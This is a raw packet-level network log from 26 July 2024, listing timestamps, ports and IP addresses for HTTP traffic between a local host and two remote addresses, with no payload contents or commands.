Jul 26, 2024 08:57:40.743979931 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.743992090 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.744005919 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.744019985 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.744020939 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.744020939 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.744035006 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.744054079 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.744059086 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.744071007 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.744085073 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.744091034 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.744091034 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.744111061 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.744122028 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.744157076 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.744189978 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.744204998 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.744219065 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.744220018 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.744220018 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.744234085 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.744240999 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.744240999 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.744262934 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.744293928 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.775021076 CEST	80	49720	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:40.775084019 CEST	49720	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:40.821635962 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.821662903 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.821721077 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.821721077 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.821727991 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.821744919 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.821791887 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.821791887 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.821964979 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.821980000 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.821995020 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.822000980 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.822016954 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.822031021 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.822031021 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.822032928 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.822078943 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.822078943 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.822259903 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.822274923 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.822290897 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.822305918 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.822314978 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.822321892 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.822351933 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.822535038 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.826464891 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.826519012 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.826533079 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.826550961 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.826550961 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.826562881 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.826600075 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.826600075 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.826649904 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.826664925 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.826679945 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.826703072 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.826706886 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.826706886 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.826741934 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.826741934 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.826880932 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.826896906 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.826911926 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.826924086 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.826927900 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.826942921 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.826957941 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.826960087 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.826960087 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.826981068 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.827001095 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.827039003 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.827100039 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.827146053 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.827161074 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.827176094 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.827191114 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.827191114 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.827202082 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.827238083 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.827238083 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.827634096 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.827649117 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.827663898 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.827678919 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.827691078 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.827691078 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.827692986 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.827708006 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.827722073 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.827729940 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.827729940 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.827735901 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.827750921 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.827764034 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.827766895 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.827779055 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.827792883 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.827795029 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.827806950 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.827821016 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.827821970 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.827831984 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.827835083 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.827877998 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.827877998 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.828116894 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.828131914 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.828147888 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.828161955 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.828176022 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.828185081 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.828185081 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.828190088 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.828205109 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.828219891 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.828228951 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.828228951 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.828233004 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.828247070 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.828262091 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.828275919 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.828289986 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.828290939 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.828290939 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.828314066 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.828330040 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.828335047 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.828335047 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.828407049 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.828732014 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.828747034 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.828787088 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.828802109 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.828804970 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.828804970 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.828818083 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.828831911 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.828833103 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.828852892 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.828852892 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.828876019 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.828881979 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.828897953 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.828911066 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.828926086 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.828943968 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.828947067 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.828960896 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.828973055 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.828973055 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.828974962 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.828990936 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.829004049 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.829005003 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.829020023 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.829040051 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.829041004 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.829056025 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.829071045 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.829076052 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.829076052 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.829104900 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.829166889 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.829382896 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.829422951 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.829464912 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.829479933 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.829493999 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.829509020 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.829513073 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.829513073 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.829523087 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.829535961 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.829538107 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.829587936 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.829587936 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.829665899 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.829757929 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.831355095 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.831381083 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.831396103 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.831408978 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.831439018 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.831443071 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.831443071 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.831486940 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.831496954 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.831501961 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.831517935 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.831562996 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.831562996 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.831589937 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.831634045 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.831681967 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.831696987 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.831723928 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.831738949 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.831825018 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.831839085 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.831861019 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.831868887 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.831876040 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.831891060 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.831893921 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.831912041 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.831984043 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.832014084 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.832029104 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.832045078 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.832058907 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.832073927 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.832088947 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.832088947 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.832143068 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.886270046 CEST	49720	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:40.891757965 CEST	80	49720	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:40.909665108 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.909739017 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.909755945 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.909775019 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.909775019 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.909799099 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.909873962 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.909888983 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.909904957 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.909912109 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.909919977 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.909933090 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.909935951 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.909944057 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.909981012 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.909981012 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.912602901 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.912617922 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.912635088 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.912650108 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.912664890 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.912676096 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.912676096 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.912679911 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.912715912 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.914355040 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.914371014 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.914386034 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.914429903 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.914429903 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.914455891 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.914469957 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.914484024 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.914499998 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.914514065 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.914514065 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.914546967 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.914546967 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.914602995 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.914618969 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.914633989 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.914648056 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.914659023 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.914659023 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.914693117 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.914693117 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.914803028 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.914817095 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.914832115 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.914851904 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.914851904 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.914870977 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.914947987 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.914972067 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.914985895 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.915000916 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.915008068 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.915008068 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.915015936 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.915043116 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.915043116 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.915121078 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.915153027 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.915168047 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.915184021 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.915203094 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.915203094 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.915245056 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.915359974 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.915374041 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.915388107 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.915401936 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.915416956 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.915426016 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.915426016 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.915431023 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.915446043 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.915460110 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.915467978 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.915473938 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.915488005 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.915488958 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.915518045 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.915657043 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.915848970 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.915888071 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.915890932 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.915931940 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.915947914 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.915961027 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.915975094 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.915976048 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.915976048 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.915990114 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.916001081 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.916003942 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.916018963 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.916019917 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.916049004 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.916063070 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.916245937 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.916260958 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.916275024 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.916290998 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.916305065 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.916311979 CEST	49709	80	192.168.2.7	85.28.47.31
